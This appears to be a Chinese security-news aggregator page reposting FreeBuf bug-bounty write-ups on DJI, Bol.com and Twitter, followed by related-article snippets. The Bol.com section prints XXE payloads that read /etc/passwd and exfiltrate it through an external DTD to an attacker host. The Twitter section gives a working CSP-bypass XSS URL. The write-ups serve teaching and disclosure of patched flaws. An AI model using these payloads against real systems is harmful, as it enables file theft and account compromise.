-
【每日安全资讯】新手上路 | 看我如何发现大疆公司网站的一个小漏洞
2018-03-18 00:00:00本文中，孟加拉国安全...前期踩点一个月前，我知道大疆公司运行有漏洞赏金项目之后，我就在上面提交了几个漏洞，但最终评定结果好像都是N/A，这貌似是我不清楚他们的漏洞评定条件导致的。之后，我的一个朋友告诉我了展开全文本文中，孟加拉国安全研究者Yeasir Arafat讲述了他对大疆无人机公司的一次漏洞测试，其通过漏洞利用，最终可获取到大疆公司包括用户IP在内的一些用户注册信息。漏洞虽小，也值得向我们这些小白分享学习，大神请绕路…..
前期踩点
一个月前，我知道大疆公司运行有漏洞赏金项目之后，我就在上面提交了几个漏洞，但最终评定结果好像都是N/A，这貌似是我不清楚他们的漏洞评定条件导致的。之后，我的一个朋友告诉我了大疆的一些具体的漏洞提交条件，我眼前一亮，哇，漏洞范围还挺广的，其中就包括大疆公司的主站*.dji.com。
首先，我就从大疆主站入手，但一无所获。但我也不气馁，过后一天，我用在线工具“dnsdumpster.com”对其域名进行了深入探测，效果还不错，发现了很多如下有意思的域名。由于保密策略，抱歉在此我不能透露我发现漏洞的具体域名。
有了这些域名，我就从大量*.dji.com中挑选了一个作为测试目标。在几个小时的折腾测试中，我还真发现了多个有效漏洞。测试开始，我就告诉自己要沉住气，要尝试深入挖掘一番。经过探测，我发现了该域名的一个子域名*.*.dji.com。
一开始，你会认为这只是一个有趣的域名，可能不会有太多发现成果。但刚好相反，仔细分析，我发现该子域名站点使用了亚马逊的“cloudfront”服务，并设置有保证网站安全的内容安全策略（CSP）。由于该域名存在一些.php页面和tid=1234类似的端点，我打算试试SQL注入，或看看是否能发现一些的数据库错误。
但遗憾的是，我总不能绕过网站的Modsecuirty策略，而且其mod= pamaeter 形式下也不存在任何SQL注入漏洞。以下为其Modsecuirty策略：
偶然发现
我也不死心，继续研究，继而发现了两个用户之间的消息发送端，为了防止CSRF攻击，该发送端设置了表单密钥保护。
我通过利用BurpSuite进行请求抓包，发现了这个消息发送端中存在一些琐碎的参数。我没对数据包实施更改或添加任何SQL注入命令，只是简单地点击“go”按钮发送请求，在响应栏中我发现，存在一些类似于![CDATA[]]的东西。
我当时也不知道这是什么东东，于是用“xml root cdata是什么”快速Google了一下才知道，#CDATA数据段表示不应由XML解析器解析的文本数据。
一会之后，我想到了在请求中加入了op=showmsg‘来看看有什么响应，非常偶然，响应以XML形式的root标签段页面返回了一些信息，如下图所示：
漏洞测试
通常来说，会为不同用户分配一个不同的“uid”参数，这种UID参数应用在不同服务中以阐明不同独特变量，这里的UID参数则用来声明userID信息。
我在想，如果我添加一个amp或XML root路径的do参数，再加上我自己的UID会是什么情况呢？于是，最终更改的路径是这样：
https://*.*.dji.com/mod.php;uid=1234&do=index&view=admin%27
%27相当于一个注入命令’，运行后，我能看到自己的注册和登录IP，而且，把消息发送端中涉及的另外一方账户UID替换掉我的UID之后，就能看到对方的注册和登录IP信息，另外，还能获取到对方的用户空间大小、信用值、积分等网站注册信息。注意：如果不加%27在上述链接之后，响应返回的是一个空白页面，但如果加了%27之后，才会返回包括IP和其它数据的XML信息页面。
最终，大疆公司的漏洞处理进程也相当快，我也获取了大疆方面奖励的漏洞赏金。
TIPs：
前期踩点识别工作一定要做充分，有助于后续的漏洞发现；
了解网站WEB应用的运行机制，通过其行为分析，可能会发现一些大漏洞；
尽可能地手工测试所有WEB服务端，光靠扫描器是深入挖掘不了太多有用信息的。
*参考来源：medium，FreeBuf小编clouds编译，来自FreeBuf.COM
更多资讯
◈ 向警方举报切尔西·曼宁的黑客阿德里安·拉莫去世 年仅37岁
http://t.cn/Rnbrtx9
◈ 梵蒂冈首届黑客马拉松活动成功举办
http://t.cn/RnbrtYg
◈ 微软将强迫用 Edge 浏览器打开 Mail 应用里的链接
http://t.cn/RnbrcPe
◈ 网贷备案行业众生相：200万成本压垮中小平台
http://t.cn/Rnbrcc3
（信息来源于网络，安华金和搜集整理）
-
研究一个新网站漏洞或攻击手段的思路
2021-01-19 10:44:28这个网站漏洞的原理是啥？ 2.为什么会产生这个漏洞被黑客攻击？最直接的原因是啥？ 3.怎么发现这个漏洞？怎么去验证漏洞是否存在？怎么利用这个漏洞？ 4.漏洞利用的首要条件是啥？漏洞危害的范围？漏洞导致的...展开全文研究一个新网站漏洞或攻击手段，依照以下思路去做好。
1.什么是XXX漏洞？这个网站漏洞的原理是啥？
2.为什么会产生这个漏洞被黑客攻击？最直接的原因是啥？
3.怎么发现这个漏洞？怎么去验证漏洞是否存在？怎么利用这个漏洞？
4.漏洞利用的首要条件是啥？漏洞危害的范围？漏洞导致的危害有多大？
5.如果在甲方公司出现漏洞问题，公司站点受到此攻击，我应该如何快速定位到问题进行修复防
止被入侵？
6.如何提前防范这个漏洞？如何做好加固？
所以过去读书的时候体育老师说的好，只需弄懂What、Why、How，语文考试轻易得高分。
-
看我如何发现Bol.com网站的XXE漏洞并成功利用
2019-07-24 11:13:08背景 在之前的报告中，我们学到了许多有关在访问者的浏览器中执行...像往常一样，我们需要一个好的目标。Bol.com是荷兰最大的电子商务网站之一。他们对我提交的开放式重定向错误报告的处理非常积极；快速的回复，修...展开全文背景
在之前的报告中，我们学到了许多有关在访问者的浏览器中执行代码的知识；反射型XSS和存储型XSS。此外，我们还快速查看了错误配置的服务器设置和Open Redirect（开放式重定向）。
今天，我们将探讨的是如何从服务器窃取私有文件。
选择目标
像往常一样，我们需要一个好的目标。Bol.com是荷兰最大的电子商务网站之一。他们对我提交的开放式重定向错误报告的处理非常积极；快速的回复，修复并始终向我发送更新。没有任何额外的麻烦，没有NDA保密协议，轻松愉快的语气。可以说这是其他公司处理负责任披露的完美范例。也是一家你 值得加入的公司。
在开始正式的内容前，让我们先来了解下什么是XXE，LFI和RCE。
本地文件包含（LFI）是在服务器响应中显示内部服务器文件的过程。远程执行代码（RCE）是在服务器上执行我们自己代码的过程。
通常LFI错误会导致RCE；有很多技巧可以用来将LFI升级为RCE。
RCE漏洞会对服务器安全带来巨大的威胁，因为它可能会最终导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码，但操作系统本身仍时不时会存在一些缺陷。允许绕过此特定访问限制的缺陷。你可能在过去使用过这种类型的bug；通过在iPhone上越狱iOS或root你的安卓手机。两者都是利用了bug来接管操作系统。我们将此类攻击称为提权。
XML外部实体（XXE）攻击基于扩展XML文件，加载本地文件和外部URL。它可能会导致LFI和RCE，因此它同样具有很大的威胁性。虽然XXE攻击发现于十多年前，但至今你仍然可以在许多网站上发现这个漏洞。
可扩展标记语言（XML）
XML是一种标记语言，允许创建计算机和人都易于阅读的文档。虽然有人说这种语言已经过时，但直到现在仍有许多地方在使用它。
如果我们仔细查看该示例，会注意到contents在标记之间，例如<body>contents</body>。因此，我们应该转义标签内的特定字符。否则，将有可能被人恶意注入标签并操纵整个XML文件。默认情况下，XML会将<>&’”字符转义为类似<>&'"的实体。因此，我们仍可以在不破坏XML文件的情况下使用字符。
XML有一个很好的功能，就是允许我们通过在XML文档中包含Document类型定义（DTD）来定义我们自己的实体。如下所示。
DTD 示例：
Example DTD <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY body "Don't forget me this weekend!" > ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body> </note>利用 XML 解析器
但是如果解析器允许我们定义文件而不是字符串呢？结果将是实体被文件中的内容替换。通过更改<!ENTITY body “Don’t forget me this weekend!” >为<!ENTITY body SYSTEM “file:///etc/passwd” >一些解析器将会向我们直接显示/etc/passwd文件的内容。
除了LFI，一些XML解析器还允许我们加载外部URL；只需用http://替换file://字符串即可。webserver将请求此URL。这可能会导致SSRF攻击；你也可以请求内部webserver，扫描开放端口并映射内部网络。你是否能够访问到包含元数据的本地webservers？如果是那么恭喜你，你最终可能得到 25000美元的漏洞赏金。
上述LFI攻击只有在我们的输入返回到某个地方时才可行。否则我们无法读取被替换的实体。如果遇到这种情况，可以使用以下技巧来泄漏数据。
盲XXE？通过HTTP/FTP请求外部DTD泄漏数据
所以服务器会解析你的XML，但没有向你显示响应中的内容？
由于你可以加载外部DTD，因此你可以将自定义实体附加到外部URL。只要URL有效，它就会加载附加了（文件）内容的URL。请注意像#这样的字符会破坏url。
XXEserve
XXEserve是一个由staaldraad创建的用于捕获XXE请求的一个非常棒的工具。它是一个简单的FTP/HTTP服务器，会显示所有我们对服务器的请求。它还伪造了一个FTP服务器；由于字符串中字符的原因，HTTP有时会失败，FTP则会保持正常工作。
快速开始
1.在公共服务器上安装XXEserv
2.创建包含要泄漏的文件或（内部）URL的外部DTD文件（即sp2.dtd）。将x.x.x.x替换为服务器的IP地址或主机名：
<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">3.将此外部DTD文件放在XXEserv目录中。XXEserv充当公共ftp和Web服务器；所以我们现在能够链接这个文件。
4.将XML payload发送给受害者，包括我们的外部DTD：
<?xml version=”1.0" encoding=”UTF-8"?> <!DOCTYPE r [ <!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd"> %a; %c; ]> <note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body><r>&body;</r></body> </note>5.观察XXEserv的输出
如果想查看不同变种的XXE payloads，请点击此处[1][2]。
我们需要找到一种方法将我们的XML代码上传或注入到Bol.com。我们可以从他们的“卖家门户”入手。大多数情况下，卖家能够上传与其产品相关的图片或其他文件。
网站的这一部分允许用户上传准备好（再次）销售的产品。
一句简短的荷兰语：’Aanbod beheren via excel’意思是“在excel中管理库存”。
此界面共包含有三个步骤：
1.下载包含当前库存的Excel文件
2.上传更改的Excel文件
3.查看上传结果
库存 Excel 文件
Excel文件的扩展名为XLSX。这是微软开发的一种开放文件格式；它是一个包含多个XML文件的zip文件。
让我们解压这个文件。
如果我们打开sheet1.xml，我们将看到以下代码。
假设我们想尝试将/etc/passwd的文件内容注入到Offer描述中（这是G4单元格，请参阅原始Excel工作表）。
正如我们在图中所看到的那样，字符串’Sample description’被id 108引用。让我们将自定义实体添加到该工作表中，并将此单元格值替换为我们的自定义实体。
我们保存文件，再次压缩文件夹并将文件重命名为xlsx。
让我们看看如果我们在步骤2中上传文件，让它加载，然后从步骤1再次下载文件会发生什么。如果XXE攻击有效，它将更新我们的示例产品（Excel中的第4行）并将/etc/passwd的文件内容注入到产品的标价说明当中。
POC
可以看到我们成功获取到了/etc/passwd中的内容。现在是时候撰写报告并通知他们了！
下一步是检查服务器是否是支持云元数据，检查包含API密钥的配置文件，并查看是否可以从LFI升级到RCE。
但由于该结果已对目标有足够的影响，因此我决定立即通知Bol.com。我询问他们是否需要我进一步的测试并将此升级为RCE。但在他们回复之前，错误已经被修复:-)
文件枚举
如果我们尝试解析目录而不是文件（即<!ENTITY body SYSTEM “file:///etc/”>），Bol.com使用的XML解析器将返回文件名（作为一个大字符串）。这使我们能够快速枚举服务器上的所有文件，而不需要爆破文件名。
大批量 XXE 注入
可以在大量文件中注入XXE payload。因此，每次上传图片都是潜在的XXE漏洞。Buffalo创建了一个很不错的工具，可帮助你将XXE payload轻松地嵌入到所有这些不同的文件中。
总结
通过编辑XML文件，我们能够在上传中将本地服务器文件的内容作为字符串包含在内。之后我们能够下载此文档，因此我们能够从其中一个生产服务器读取私有文件。
解决方案
最佳解决方案是禁用XML解析器中的任何DTD支持。更多内容请参阅OWASP对不同解析器及其配置的概述。
影响
- 本地文件包含
- 可能执行本地拒绝服务攻击（未确认）
- 可能的RCE（未确认）
- 可能的SSRF（未确认）
时间线
2018.9.2 发现漏洞并通知Bol.com
2018.9.3 Bol.com确认漏洞
2018.9.4 Bol.com修复漏洞，并奖励了价值500欧元的Bol.com优惠券
2018.9.8 撰写本文并告知Bol.com
2018.9.11 发表本文
*参考来源：medium，FB小编secist编译，转载请注明来自FreeBuf.COM
secist409 篇文章等级： 9级
|
|
- 上一篇：企业安全体系架构分析：开发安全架构之防CC攻击脚本编写
- 下一篇：本篇已是最新文章
-
挖洞经验|我如何在Twitter上发现了一个CSP绕过+XSS漏洞
2017-07-16 09:21:52在这篇文章中，我不仅要告诉大家在这样一个如此热门且非常安全的大型网站中找到一个XSS漏洞是有多么的困难，而且我还会跟大家描述我是如何配合另一个CSP（内容安全策略）绕过漏洞并最终在Twitter.com的节点中找到了...展开全文我是一名安全研究人员，也是一名Bug Hunter，但我仍一直在学习。在这篇文章中，我不仅要告诉大家在这样一个如此热门且非常安全的大型网站中找到一个XSS漏洞是有多么的困难，而且我还会跟大家描述我是如何配合另一个CSP（内容安全策略）绕过漏洞并最终在Twitter.com的节点中找到了一个XSS漏洞。
此前，也有人发现了Twitter任意账户发送推文漏洞，但Twitter的漏洞总体来说较少且较难挖掘。
漏洞的发现过程
在对Twitter的子域名进行了一番研究之后，我发现了节点https://careers.twitter.com/。你估计已经猜到了，这是Twitter的求职网站，你可以在这里寻找自己在Twitter的工作机会，不过我来这里是为了寻找安全漏洞的。
研究了片刻之后，我发现我似乎找到了一个反射型XSS漏洞。URL如下（注意其中的location参数）：
https://careers.twitter.com/en/jobs-search.html?location=1"onmouseover=”alert(1)&q=1&start=70&team=
但是请等一下，这里竟然没有弹出对话框！我竟然没能触发对话弹窗？原来，Twitter采用了如下的内容安全策略（CSP）：
content-security-policy: default-src‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.comhttps://*.twitter.com data:; frame-src ‘self’ https://twitter.comhttps://*.twitter.com [REDACTED] https://*.twitter.com; report-uri https://twitter.com/i/csp_report原来，Twitter所采用的CSP禁止了网站弹出JavaScript警告窗口，所以很不幸我无法通过这样的方式来利用这个反射性XSS漏洞。于是跟往常一样，我跑去请教我的老师@brutelogic。我跟他说，我找到了一个XSS漏洞（没提具体细节和域名），但由于网站采用了CSP导致我无法利用这个XSS漏洞。而老师给我的建议就是想办法绕过CSP！他的原话是:”我的天啊，我不想听你说话了，你赶紧想办法绕过这该死的CSP！”好吧…谢谢老师！
在接下来的时间里，我尝试了很多种方法，也尝试寻找了一些其他的子域名，最终我发现了一个带有隐藏GET请求的URL节点：
https://analytics.twitter.com/tpm?tpm_cb=响应信息的Content-Type为 application/javascript，而我在这里写的参数tpm_cb被反射到了页面上！
这一次我就很幸运了，我结合我所发现的东西最终成功地利用了这个XSS漏洞。我设计的PoC代码如下：
https://careers.twitter.com/en/jobs-search.html?location=1"><scriptsrc=//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>//果然不出我所料，终于成功了！
总结
虽然过程比较艰辛，但结果总归是好的。
于是我立刻通过Twitter在HackerOne上的漏洞奖励计划将该问题报告给了Twitter，而Twitter的安全专家很快对我上报的漏洞进行了评估和分类，并迅速给我提供了漏洞奖金。值得一提的是，Twitter很快便修复了其求职网站中的XSS漏洞，但这个CSP绕过漏洞却花了很久时间才解决。不过无论怎样，这些漏洞最终都已经得到了修复。感谢Twitter的安全团队以及超赞的HackerOne社区！
希望这篇文章中的内容可以给那些像我一样的新手带来帮助，如果你也想分享自己的挖洞经验，你可以在Twitter上艾特我@tbmnull。
* 参考来源：medium， FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
发表评论已有 5 条评论
-
路人申 2017-07-13 5楼标题竟然不是“我是如何找到XXX漏洞，获得XXX美金奖励”
-
phpcms2008网站漏洞如何修复 远程代码写入缓存漏洞利用
2018-12-03 09:57:35SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞，该phpcms漏洞危害较大，可以导致网站被黑，以及服务器遭受黑客的攻击，关于这次发现的phpcms... -
如何查找网站漏洞文件任意查看漏洞详情与利用
2018-07-17 09:42:18一般网站里都会含有这种漏洞，尤其平台，商城，交互类的网站较多一些，像普通权限绕过漏洞，导致的就是可以查看到网站里的任何一个文件，甚至可以查看到网站的配置文件config.php conn.php等等。 我们SINE安全公司... -
phpcms网站漏洞如何修复对远程代码写入缓存漏洞利用
2018-12-03 10:04:00SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞，该phpcms漏洞危害较大，可以导致网站被黑，以及服务器遭受黑客的攻击，关于这次发现的phpcms... -
看我如何发现Uber合作方网站XXE 0day漏洞并获得9000美元赏金
2017-08-01 15:56:00近期，俄罗斯渗透测试人员Vladimir Ivanov发现了反勒索数据备份服务商Code42的一个XXE 0day漏洞，利用该漏洞可以从使用Code42服务的公司窃取相关备份数据，这些公司包括Uber、Adobe、Lockheed Martin(洛克希德马丁... -
Laravel框架 网站有漏洞如何修补与防护
2019-11-12 09:41:03Laravel框架是目前许多网站,APP运营者都在使用的一款开发框架,正因为使用的网站较多,许多攻击者都在不停的对该网站进行漏洞测试,我们SINE安全在对该套系统进行漏洞测试的时候,发现存在REC漏洞.主要是XSRF漏洞,下面... -
【漏洞学习——XSS】Edmodo网站的XSS漏洞
2019-03-07 09:14:19在这篇文章中，我将告诉你我是如何在Edmodo（一个教育互动平台）发现XSS的。 这个漏洞是我一个月前发现的。Parth Shah写的一篇关于存储型XSS的文章启发了我。 在我浏览edmodo.com网站时，发现了以前从未见过的URL... -
看我如何发现Uber合作方网站XXE 0day漏洞并获得9000美元赏金 ---XXE读取目录
2017-02-15 14:55:22近期，俄罗斯渗透测试人员Vladimir Ivanov发现了反勒索数据备份服务商Code42的一个XXE 0day漏洞，利用该漏洞可以从使用Code42服务的公司窃取相关备份数据，这些公司包括Uber、Adobe、Lockheed Martin（洛克希德马丁... -
网站被攻击该如何分析服务器日志 查找漏洞根源？
2020-02-29 09:05:34公司的官方网站从春节前无缘无故就出现连接数据库异常的现象，由于以前也出现过，再加上没多久逢年过节，也就没有太在乎这个情况，仅仅试着重新启动了网站数据库。逢年过节的时候我发现了有一些不太对，网站数据库... -
phpcms网站漏洞修复 远程代码写入缓存漏洞利用
2018-12-03 10:20:42SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞，该phpcms漏洞危害较大，可以导致网站被黑，以及服务器遭受黑客的攻击，关于这次发现的phpcms... -
asp程序的漏洞是如何产生的？
2004-07-04 23:53:00今天看了一个购物网站的程序，发现随处可见一个最常见的漏洞 id=request("id") rs.open "select * from table where id="&id,conn,1,3 听说这个程序还卖的挺贵，很多网站在用，不知道写程序的人怎么会写出这样不负... -
网站安全检测之逻辑漏洞检测 修复方案
2018-09-18 09:56:53那用户的隐私如何保障，在网站中进行的任何交易，支付，用户的注册信息都就没有了安全保障，所以网站安全做好了，才能更好的去运营一个网站，我们SINE安全在对客户进行网站安全部署与检测的同时，发现网站的业务逻辑... -
【技术分享】看我如何挖到谷歌Buganizer系统3个漏洞并获得15600美元赏金
2017-11-03 15:25:03我之前也没听说过，直到我发现我的漏洞报告除了正常的邮件通知外，还同时会被一个新打开的线程处理。自然而然的，我立即开始试着去“渗透”它。 Buganizer 那么这个网站究竟是什么？根据文档，问题跟踪器... -
我来教你如何寻找XSS漏洞
2014-12-16 16:30:51今天本来在看一个站，偶然发现存在XSS漏洞，就留意了下URL形式，然后谷歌一下，就不费什么力气的得到了大量存在XSS漏洞的站点页面，正好今天闲来无事，我也得给我的博客写点东西，不然又要被搜索引擎惩罚了… ... -
Hidden型参数变量未过滤导致的上传漏洞利用一则
2009-02-23 09:57:19无意中看见一个图形设计网站，网站全部由静态asp构成，做得十分漂亮。感叹它设计精美的同时，不由...在Google上搜索了一阵，翻到了这个网站的一个上传页面，发现它没有做验证，任何人都可以上传图片文件，于是决定从... -
如何提高网站在线安全？
2019-08-20 17:40:47网络罪犯将在何时攻击一个网站或者如何攻击一个网站是没有迹象的，他们使用程序来发现和识别哪个网站有漏洞，并利用这些漏洞作为切入点开始攻击网站。 如果一个网站没有保护得当，将会有一些后果，这取决于黑客的... -
织梦Dedecms系统可疑文件include/filter.inc.php扫描出漏洞，该如何解决？
2018-05-04 16:54:00发现网站出了一个问题，在对网站做木马监测的时候，扫描出一个可疑文件：/include/filter.inc.php，建议删除，但仔细检查后，发现此文件是织梦（Dedecms）系统自带的问题，那么，我们该如何解决呢？ 漏洞描述：... -
网站被黑了不要慌，4招教你如何破解！网站被黑的10大原因
2020-12-23 15:40:59企业做网络营销，一个有营销力的网站必不可少。但是俗话说“常在网络漂，哪有不挨刀”，总有那么几次碰上恶意竞争、或者黑客攻击，导致网站打不开。所以千树科技建议在维护自己的网站时，首先要学会如何保护自己的... -
TRACE Method 网站漏洞，你关闭了吗[转]
2013-11-05 16:29:00危险：该漏洞可能篡改网页HTML 源码 ...不过月小升作为一名开发人员，对如何入侵进去还是非常的感兴趣。目前未发现方法。知道的朋友，还望留言相助。 URL: XXX漏洞等级: 提示威胁类型: TRACE ... -
如何关闭或停止自己在heroku上的网站
2020-07-17 21:22:27有时候，我们发现我们在heroku上的网站有漏洞需要修复。 这时候需要暂时关闭我们的网站。如何做呢？ . 一个理想的方法是把heroku的dynos设置为0，命令如下： heroku ps:scale web=0 重新启动只需如下代码： heroku ... -
wordpress插件翻译不生效_WordPress社交插件曝出高危漏洞，攻击者可直接接管网站...
2020-12-12 17:26:52一名来自WebARX的安全研究人员Luka Šikić以及安全团队近期发现了一个在流行的WordPress插件Simple Social Buttons中的致命漏洞，它允许非管理员用户修改WordPress安装选项，相当于任何人都可接管网站。你的... -
SQL注入漏洞详解
2020-02-02 23:43:21一个网站有那么多的页面，那么我们如何判断其中是否存在SQL注入的页面呢？我们可以用网站漏洞扫描工具进行扫描，常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 等。 但是在很多时候，还是需要我们...
-
测试版-源码
-
MySQL 四类管理日志（详解及高阶配置）
-
面试题 (() =＞ 1).length === 0； // 输出什么
-
MySQL 性能优化（思路拓展及实操）
-
MySQL 多平台多模式（安装、配置和连接 详解）
-
Unity RUST 逆向安全开发
-
ubuntu arm java_arm 架构 ubuntu命令安装jdk
-
切图软件,将一副图像切成多张并附加在背景上,支持批处理
-
MySQL 触发器
-
朱老师鸿蒙系列课程第1期-3.鸿蒙系统Harmonyos源码配置和管理
-
幼儿美术课件 创意油画棒-小怪兽迷路了.ppt
-
深入了解php底层机制
-
java alertdialog_Android - AlertDialog.java
-
10款不为人所知的精致Mac应用app
-
proto生成java类_.proto生成java或其他语言
-
promise获取所有文件路径_node获取指定目录下所有文件的内容生成PDF
-
幼儿美术课件 创意水粉-夜空中的鸟儿.ppt
-
java验证电子邮件_在Java中验证电子邮件
-
proxool java_Java项目中使用 proxool
-
幼儿美术课件 可爱的小章鱼.ppt
这些评论亮了